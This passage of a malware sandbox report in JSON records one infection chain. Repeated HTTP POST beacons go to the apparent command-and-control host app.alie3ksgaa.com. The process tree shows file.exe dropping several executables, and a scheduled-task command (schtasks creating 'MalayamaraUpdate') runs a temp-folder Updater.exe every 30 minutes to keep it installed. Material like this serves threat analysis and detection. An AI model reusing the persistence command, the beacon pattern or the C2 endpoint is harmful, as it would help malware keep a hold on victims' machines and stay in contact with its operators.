application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 860\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"host":"app.alie3ksgaa.com","host_ip":"154.92.15.189:80","url":"/check/?sid=19082&key=2b05e1477ccfcd5a9d6074cdaa245105","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=19082&key=2b05e1477ccfcd5a9d6074cdaa245105 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 192\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"host":"app.alie3ksgaa.com","host_ip":"154.92.15.189:80","url":"/check/?sid=19104&key=f8ef7c4505de0cb66c367cdcd06d871c","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=19104&key=f8ef7c4505de0cb66c367cdcd06d871c HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 860\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"host":"app.alie3ksgaa.com","host_ip":"154.92.15.189:80","url":"/check/?sid=19109&key=9a04ab984c738af6c1db30d118062bd7","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=19109&key=9a04ab984c738af6c1db30d118062bd7 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 192\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"host":"app.alie3ksgaa.com","host_ip":"154.92.15.189:80","url":"/check/?sid=19145&key=c0968de6b49e30692c2c24f691a5a15e","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=19145&key=c0968de6b49e30692c2c24f691a5a15e HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 860\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"host":"app.alie3ksgaa.com","host_ip":"154.92.15.189:80","url":"/check/?sid=19161&key=1546575bd3f87bdcbf0e1c383c72e3ba","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=19161&key=1546575bd3f87bdcbf0e1c383c72e3ba HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 192\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"host":"app.alie3ksgaa.com","host_ip":"154.92.15.189:80","url":"/check/?sid=19186&key=1fba256f9816d9bf97fa2b2e647e82ca","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=19186&key=1fba256f9816d9bf97fa2b2e647e82ca HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 860\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"host":"app.alie3ksgaa.com","host_ip":"154.92.15.189:80","url":"/check/?sid=19195&key=ac465d661323244ab3b0c753a4167596","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=19195&key=ac465d661323244ab3b0c753a4167596 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 192\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"host":"app.alie3ksgaa.com","host_ip":"154.92.15.189:80","url":"/check/?sid=19239&key=a8c3640ac8239a19b4da4e2897237b8b","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=19239&key=a8c3640ac8239a19b4da4e2897237b8b HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 860\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"host":"app.alie3ksgaa.com","host_ip":"154.92.15.189:80","url":"/check/?sid=19255&key=5174158ae55c58134c248242b1507576","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=19255&key=5174158ae55c58134c248242b1507576 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 192\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"host":"app.alie3ksgaa.com","host_ip":"154.92.15.189:80","url":"/check/?sid=19277&key=85e5c75b61bab07715dc3d7b75eb9287","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=19277&key=85e5c75b61bab07715dc3d7b75eb9287 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 860\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"host":"app.alie3ksgaa.com","host_ip":"154.92.15.189:80","url":"/check/?sid=19284&key=5259d8c7cd358848797fa8b86f79ec7b","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=19284&key=5259d8c7cd358848797fa8b86f79ec7b HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 192\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"host":"app.alie3ksgaa.com","host_ip":"154.92.15.189:80","url":"/check/?sid=19312&key=f47b574fcb9eeb9142afdd7e0c75399c","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=19312&key=f47b574fcb9eeb9142afdd7e0c75399c HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Length: 860\nHost: app.alie3ksgaa.com","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}],"processes":[{"pid":7004,"ppid":0,"name":"file.exe","command_line":"","sha256":"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","normalized_path":"C:\\file.exe","uid":"00000000-00007004","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7492,"ppid":7004,"name":"InstallSetup9.exe","command_line":"","sha256":"4f883a42e2baa671520a7471c0fefe56fd75be8fd5abedde10e2873fed11662d","normalized_path":"%TEMP%\\InstallSetup9.exe","parent_uid":"00000000-00007004","uid":"00000000-00007492"},{"pid":1968,"ppid":7492,"name":"BroomSetup.exe","command_line":"","sha256":"50a46b3120da828502ef0caba15defbad004a3adb88e6eacf1f9604572e2d503","normalized_path":"%TEMP%\\BroomSetup.exe","parent_uid":"00000000-00007492","uid":"00000000-00001968"},{"pid":6844,"ppid":1968,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"%APPDATA%\\Temp\\Task.bat\" \"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00001968","uid":"00000000-00006844"},{"pid":4864,"ppid":6844,"name":"chcp.com","command_line":"chcp 1251","sha256":"9465ac026770dd4bf54193f02dec5fbf874af69aa690301c4c7ffa686c0f896a","normalized_path":"%WINDIR%\\SysWOW64\\chcp.com","parent_uid":"00000000-00006844","uid":"00000000-00004864"},{"pid":3808,"ppid":6844,"name":"schtasks.exe","command_line":"schtasks /create /tn \"MalayamaraUpdate\" /tr \"'%TEMP%\\Updater.exe'\" /sc minute /mo 30 /F","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00006844","uid":"00000000-00003808"},{"pid":7268,"ppid":7492,"name":"nsd67A7.tmp","command_line":"","sha256":"dbbef4a3d983c881e1cfdca4a3abb502e7e193f3049871b5bf900ada5bfdb3f3","normalized_path":"%TEMP%\\nsd67A7.tmp","parent_uid":"00000000-00007492","uid":"00000000-00007268"},{"pid":1344,"ppid":7004,"name":"toolspub1.exe","command_line":"","sha256":"8da2cb8ea28028e84ead59e8d7e4f97325351ddab33df6704d3cf8894d5ce7a5","normalized_path":"%TEMP%\\toolspub1.exe","parent_uid":"00000000-00007004","uid":"00000000-00001344"},{"pid":2992,"ppid":1344,"name":"WerFault.exe","command_line":"-u -p 1344 -s 556","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00001344","uid":"00000000-00002992"},{"pid":4788,"ppid":7004,"name":"31839b57a4f11171d6abc8bbc4451ee4.exe","command_line":"","sha256":"5fac6b8c422f2b2d6c3e7ae10a2271ad911eb7c45a6ec838a1050a744ff786be","normalized_path":"%TEMP%\\31839b57a4f11171d6abc8bbc4451ee4.exe","parent_uid":"00000000-00007004","uid":"00000000-00004788"},{"pid":5308,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 448","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00005308"},{"pid":5840,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 468","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00005840"},{"pid":2284,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 456","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00002284"},{"pid":2272,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 568","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00002272"},{"pid":3216,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 676","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00003216"},{"pid":5876,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 684","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00005876"},{"pid":7272,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 668","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00007272"},{"pid":7256,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 692","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00007256"},{"pid":7468,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 728","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00007468"},{"pid":7712,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 736","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00007712"},{"pid":5376,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 820","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00005376"},{"pid":3960,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 708","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00003960"},{"pid":6792,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 860","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00006792"},{"pid":3732,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 880","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00003732"},{"pid":6840,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 876","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00006840"},{"pid":6348,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 808","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00006348"},{"pid":3160,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 896","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00003160"},{"pid":6700,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 876","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00006700"},{"pid":4104,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 836","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00004104"},{"pid":5360,"ppid":4788,"name":"WerFault.exe","command_line":"-u -p 4788 -s 884","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004788","uid":"00000000-00005360"},{"pid":7348,"ppid":4788,"name":"powershell.exe","command_line":"powershell -nologo -noprofile","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004788","uid":"00000000-00007348"},{"pid":3376,"ppid":4788,"name":"31839b57a4f11171d6abc8bbc4451ee4.exe","command_line":"","sha256":"5fac6b8c422f2b2d6c3e7ae10a2271ad911eb7c45a6ec838a1050a744ff786be","normalized_path":"%TEMP%\\31839b57a4f11171d6abc8bbc4451ee4.exe","parent_uid":"00000000-00004788","uid":"00000000-00003376"},{"pid":6748,"ppid":3376,"name":"WerFault.exe","command_line":"-u -p 3376 -s 400","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00003376","uid":"00000000-00006748"},{"pid":3756,"ppid":3376,"name":"WerFault.exe","command_line":"-u -p 3376 -s 404","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00003376","uid":"00000000-00003756"},{"pid":892,"ppid":3376,"name":"WerFault.exe","command_line":"-u -p 3376 -s 416","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00003376","uid":"00000000-00000892"},{"pid":4656,"ppid":3376,"name":"WerFault.exe","command_line":"-u -p 3376 -s 576","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00003376","uid":"00000000-00004656"},{"pid":7092,"ppid":3376,"name":"WerFault.exe","command_line":"-u -p 3376 -s 632","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00003376","uid":"00000000-00007092"},{"pid":188,"ppid":3376,"name":"WerFault.exe","command_line":"-u -p 3376 -s 640","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00003376","uid":"00000000-00000188"},{"pid":7692,"ppid":3376,"name":"WerFault.exe","command_line":"-u -p 3376 -s 656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00003376","uid":"00000000-00007692"},{"pid":7736,"ppid":3376,"name":"WerFault.exe","command_line":"-u -p 3376 -s 664","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00003376","uid":"00000000-00007736"},{"pid":7700,"ppid":3376,"name":"WerFault.exe","command_line":"-u -p 3376 -s 668","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00003376","uid":"00000000-00007700"},{"pid":7096,"ppid":3376,"name":"WerFault.exe","command_line":"-u -p 3376 -s 684","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00003376","uid":"00000000-00007096"},{"pid":6936,"ppid":3376,"name":"powershell.exe","command_line":"powershell -nologo -noprofile","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003376","uid":"00000000-00006936"},{"pid":2584,"ppid":3376,"name":"WerFault.exe","command_line":"-u -p 3376 -s 536","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00003376","uid":"00000000-00002584"},{"pid":5832,"ppid":3376,"name":"WerFault.exe","command_line":"-u -p 3376 -s 784","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00003376","uid":"00000000-00005832"},{"pid":1908,"ppid":7004,"name":"rty25.exe","command_line":"","sha256":"bbd48c58bc41696a56c317d9650057c725642e5c1dee71a8b4f0b9cbd9095ad4","normalized_path":"%TEMP%\\rty25.exe","parent_uid":"00000000-00007004","uid":"00000000-00001908"},{"pid":7132,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 460 -p 1344 -ip 1344","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007132","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3880,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 444 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00003880","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":1740,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 452 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00001740","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7888,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 516 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007888","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7384,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 516 -p 4788 -ip 4788","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007384","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3392,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 516 -p 4788 -ip 